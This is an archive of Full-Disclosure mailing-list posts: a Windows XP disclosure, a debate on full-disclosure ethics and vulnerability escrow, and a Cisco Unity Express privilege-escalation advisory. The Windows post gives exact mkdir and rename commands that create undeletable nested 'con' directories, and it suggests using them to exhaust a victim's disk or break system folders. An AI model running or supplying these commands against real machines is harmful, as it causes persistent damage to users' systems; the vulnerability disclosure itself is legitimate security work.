[Full-disclosure] DOS device name handling
Hi. * Overview: Valunerability exists in windows xp sp2 (others may also be affected), probably due to an error within the handling special device DOS names. In March 2000 Microsoft has patched similar problem in windows 98: http://www.microsoft.com/downloads/details.aspx?displaylang=en&FamilyID=4C6FD7E5-A66E-4A08-B782-2A64C77B95B6 * Environment: I tried this on polish windows xp sp2 with latest patches. Command outputs are translated into english, so they are not identical as in english version of xp. * Description: Using simple mkdir and rename commands it is possible to make directory structure which then can not be removed from disk without special, third party tools. Because even empty directory ocuppies some amount of disk space, this valunerability may be used against a user's machine by creating the millions of prepared, not eraseable directories. Other scenario may be renaming system or user's directory to invalid name. * Details: In a theory, windows does not allow programs to create directory containing special DOS device names (e.g. CON, LPT1, COM1, PRN). By simply adding a slash '/' character at the end of directory name, that protection fails. * Example: Assume we are on the root of drive C: Creating... mkdir "/foo/foo/foo/foo" Valid directory structure C:\foo\foo\foo\foo created. ... and renaming: cd \foo\foo\foo rename "foo" "con/" cd .. rename "foo" "con/" cd .. rename "foo" "con/" cd .. rename "foo" "con/" C:\ Now directory structure is: C:\con\con\con\con Please note that this is one way operation. Renaming from "con/" or "con" to "foo" does not work. However, if the directory has only one level (C:\con) and is empty or contains ,,normal'' entries, it is possible to remove it. Now, let's try browse: C:\cd "con" System nie może odnaleźć określonej ścieżki. [System can not find appropriate path.] C:\cd "con/" Nazwa katalogu jest nieprawidłowa. [Invalid directory name.] Let's try to rename: C:\rename "con" "foo" System nie może odnaleźć określonej ścieżki. [System can not find appropriate path.] C:\rename "con/" "foo" Nie można odnaleźć określonego pliku. [Could not find appropriate file.] And finally - removing: C:\>rmdir /S "con/" con/, Czy na pewno (T/N)? t [Are You sure (Y/N)?] con/\con\con\con\con - Nie można odnaleźć określonego pliku. con/\con\con\con - Nie można odnaleźć określonego pliku. con/\con\con - Nie można odnaleźć określonego pliku. con/\con - Nie można odnaleźć określonego pliku. [Could not find appropriate file.] Directory exists. C:\erase /S /Q "con" Nie można odnaleźć \\.\con. [Could not find \\.\con.] Please note a strange path. C:\erase /S /Q "con/" C:\ Directory *still* exists. Windows Explorer can browse directory, but renaming or removing fails. It looks like there is no simple way to remove C:\con from a disk. -- K. ___ Full-Disclosure - We believe in it.

Tim Bilbo wrote: Setting aside analogies, the questions remain: Does full disclosure make the IT community as whole less secure than it would otherwise would be? Is it more dangerous to have a handfull of sophisticated blackhats lurking about with an unknown exploit vs. publishing it for every wannabe hacker to use? I am confident that the answer is that fully disclosing discovered vulnerabilites without first giving the vendor a reasonable chance to address them is more harmful. I'm confident in saying that full disclosure does not make the IT community as a whole less secure. My experience, both seeing the white hat and the black hat side of the community fence at different points in my life, is that the black hats will always have access to a certain substrata of information that those of us living in the world of light (i.e. not in a basement) will not have access to for some time. The problem with your question is that you're ultimately setting up an example that doesn't fit reality. The world you describe above is one where there are two tiers: Those with access to underground data and those without. The script kiddies on the outside, in the world described above, don't have access unless it's disclosed in public. The trouble is that the simplistic model doesn't represent reality. There are many strata in the black hat world and information is used until useless and then dumped into the lower strata as cannon fodder. What you do usually see with full disclosure (likewise with patching), which is ironically dragged out as an argument against full disclosure, is that when a flaw is disclosed, you do see script kiddies coming out of the woodwork making loud noises with automated bots mass-owning systems. Is this the fault of full disclosure? Nope. It's inevitable. There are no power structures in place to keep script kiddies from using what they find and making it their own. Of course, there's the world of law enforcement, which is effective at apprehending them after they do the deed, but as a deterrent you have to consider the type of person being dealt with: A person who feels marginalized by society and power structures in real life, often lashing out with power they have gained in the online world through the sheer lack of security on the Internet in general. The average script kiddie already has an inflated ego to counter the lack of self esteem they feel. Law enforcement as a deterrent to this type of person is not as effective as other people because the script kiddie already believes that he can't be caught. It's largely because of this multi-layer strata that we're talking about that makes your question somewhat moot. Are we more or less secure with or without full disclosure? Well, the question's pretty irrelevant now isn't it? Disclosure will always happen.. .the question is who will be doing the disclosure. Is it worse to have a skilled, quiet hacker who knows what he's doing on your network using 0-days, or an army of clumsy script kiddies writing worms that don't work half the time clogging up networks for one or two days a year -- not even really affecting most of the Internet or people who are security-wise in the first place? Personally, I think the more quiet, careful hacker is more dangerous. And in the end, it will always get out anyway... so you might as well bring it full circle sooner. Vendor disclosure before public disclosure is nice, but does not notifying the vendor inherently make us less secure? Well, I'd say not really. We were already insecure to begin with... and a state of secrecy doesn't make us more secure. It just means we don't know there's a problem that needs to be fixed. -bkfsec ___ Full-Disclosure - We believe in it.

So, by publishing that type of exploit and labeling it crtical you create a new requirement for mitigation that wouldn't otherwise be there. If a script kiddie wants to DoS a browser, there are very easy ways to do so without resorting to arcane tricks. Resource consumption/misuse has always been an easy game to master. I think that your example here is a very very poor one. It's like saying that the fork bomb is a well guarded secret. It's inevitable. If it's a known hole anywhere, it's a matter of time until it gets out. The issues that count, the ones that both black hats and script kiddies care about that get them access, they will always follow the pattern I laid out because it's beneficial to the skilled black hats to do it that way. Some have suggested a 'Vulnerability Escrow' A third party that tracks and holds vulnerability discoveries and works with the vendor. I think that is an idea worth exploring. I think it's a horrible idea that only creates people with a vested interest in getting paid to hold vulnerabilities in secret. There's no way to enforce its usage and as such it will never result in a lack of disclosure. The "escrow" services will become targets of attacks and eventually, because greed always wins, this new flashy database of 0-days will be sold off to the highest bidder. I think it's a monumentally bad idea to collect all vulnerability data necessary for the company to fix their product in one place and leave it in the hands of people who only have a monetary goal in their holding of that data. -bkfsec ___ Full-Disclosure - We believe in it.

So, by publishing that type of exploit > and labeling it crtical you create a new requirement for mitigation that > wouldn't otherwise be there. This is a TERRIBLE example. Some vendors (Microsoft) don't patch browser DoS bugs unless they've later proven exploitable. Most of the community doesn't even consider them vulnerabilities. Further, the mitigation is so simple that it doesn't even require policy to implement: if your browser crashes, don't go back to that site. Put simply: if you discover that doing something hurts, don't do it again. There's no continuing damage. It's a fundamental law of browser security that nobody can force you to go to a malicious site, and crashing a browser is not a sufficient inconvenience that policy mitigation or security assets are required. Because such methods are trivial to discover (and some are simply matters of heavy-client design) and difficult to effectively fix, there's substantial motive and ability within the group we'd normally consider "script kiddies" to find such bugs. > Some have suggested a 'Vulnerability Escrow' A third party that tracks > and holds vulnerability discoveries and works with the vendor. I think > that is an idea worth exploring. It's an idea that's been explored and failed miserably. As Valdis already hinted at, CERT/CC is a disaster. Public disclosure of vulnerabilities provides the only means of accountability. Would you support a "vulnerability escrow" that sat on reports of security holes for an eternity if a vendor decided patching them was too much of an inconvenience? I sincerely hope not, because I know that I would have no part in such "disclosures". Further, as a member of the public, I'd object strongly to their existence. Surprise: CERT/CC did exactly that when it began. Unfortunately, when you deny the public information, they have no calling to hold the vendor accountable. Incomplete information also hinders the ability of the public to even make a reasonable guess as to the security of the product and the commitment of its developer to that security. Oracle, for instance, is laughed at because they take 800 or so days to fix serious security holes and only occasionally get it right. In your world of "escrow", nobody knows that, because there's no public information. So, people aren't informed and as a result, can't stay away from vendors whose security processes are colossal failures. But it gets worse. What about in an "escrowed" world when vendors do release patches? How do admins prioritize? Or do they just blindly apply every patch and hope nothing breaks? Because you can bet that people will be out there taking apart those patches and finding what they fix. Anybody who doesn't apply them in that short (and shrinking) timeframe is begging to get owned, and wouldn't even have a clue. Further, how do you propose to make people USE such an escrow system, especially if it denies them the choice of public disclosure? How do you ACTUALLY propose to deny people that choice? Ooooh, ooh, I have some ideas! 1) Let's all rally around some toothless standard that says "We, the vendors agree to patch within two centuries" with all accountability stripped away by non-disclosure. The vendors are trustworthy, and they'll all patch, because your security (and not their bottom line) is the priority. 2) Let's have the U.S. pass another speech-squelching law ala DMCA, export it to every country with a computer via fifteen thousand FTAs promising the "enormous benefits" of "free access" to a U.S. economy where everything from abortion to broad-tipped markers is puritanically-regulated and make it so that reverse-engineering patches is... illegal!!! That would solve it! Seriously now... you've gotta be kidding me. But let's take it another step. Since we can't actually STOP people from reversing patches, let's just NOT PATCH! Trust our luck.

[Full-disclosure] Cisco Security Advisory: Cisco Unity Express Expired Password Reset Privilege Escalation
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Cisco Security Advisory: Cisco Unity Express Expired Password Reset Privilege Escalation Advisory ID: cisco-sa-20060501-cue http://www.cisco.com/warp/public/707/cisco-sa-20060501-cue.shtml Revision 1.0 For Public Release 2006 May 01 2300 UTC (GMT) + Contents Summary Affected Products Details Impact Software Version and Fixes Workarounds Obtaining Fixed Software Exploitation and Public Announcements Status of this Notice: FINAL Distribution Revision History Cisco Security Procedures + Summary === Cisco Unity Express (CUE) contains a vulnerability that might allow an authenticated user to change the password for another user by using the HTTP management interface, if the password for the user being modified is marked as expired. This can result in a privilege escalation attack and complete administrative control of a CUE module, if the password being changed belongs to an administrator. There are mitigations for this vulnerability. Cisco has made free software available to address this vulnerability for affected customers. This advisory is posted at http://www.cisco.com/warp/public/707/cisco-sa-20060501-cue.shtml Affected Products = Vulnerable Products +-- Any CUE Advanced Integration Module (AIM) or Network Module (NM) running CUE software versions prior to 2.3(1) is affected by this vulnerability. The version of software running on a CUE module can be determined using the show software versions command in the CUE command line interface or by selecting Help > About in the HTTP management interface. cue-10-0-0-1# show software versions Installed Packages: - Bootloader (Primary) 2.1.2 - Global 2.2.0 - GPL Infrastructure 2.1.2 - Voice Mail 2.1.2 - Bootloader (Secondary) 2.1.2 - Installer 2.1.1 - Core 2.1.2 - Auto Attendant 2.1.2 Installed Languages: - US English 2.1.0 Installed Languages: - US English 1.1.1 The CUE version is determined by the Core package. Products Confirmed Not Vulnerable + No other Cisco products, including Cisco Unity, are currently known to be affected this vulnerability. Details === Cisco Unity Express (CUE) is an optional hardware module designed for use with Cisco modular routers to provide voice mail and automated attendant services. The HTTP management interface of a CUE module allows authenticated users to change their password. This vulnerability allows authenticated users to change the password for any user with an expired password. If an administrator's account has expired, the administrator's password can be changed allowing an unprivileged user to gain complete administrative control of a CUE module. There are three ways for a user to have an expired password. * Newly created users with blank passwords. CUE treats blank passwords as expired. This feature was introduced in CUE software version 1.1(1). * Newly created users with a randomly selected password. Administrators can elect to have a random password assigned when creating new users. CUE treats the random passwords as expired. This feature was introduced in CUE software version 1.1(1). * If the system-wide password expiry feature is enabled, user passwords can be configured to expire after a specified number of days. Users with expired passwords are required to change their password. This feature was introduced in CUE software version 2.1 (1). The vulnerability is documented in the following Cisco Bug ID: * CSCsd50387 ( registered customers only) Cisco Unity Express Expired Password Reset Privilege Escalation Impact == Successful exploitation of the vulnerability may allow an unprivileged user to gain complete administrative control of a CUE module. This may result in the disclosure of sensitive information contained in voice mail stored on a CUE module and possible negative publicity if automated attendant messages are maliciously changed. Software Version and Fixes == When considering software upgrades, also consult http://www.cisco.com/go/psirt and any subsequent advisories to determine exposure and a complete upgrade solution. In all cases, customers should exercise caution to be certain the devices to be upgraded contain sufficient memory and that current hardware and software configurations will continue to be supported properly by the new release. If the information is not clear, contact the Cisco Technical Assistance Center ("TAC") or your contracted maintenance provider for assistance.
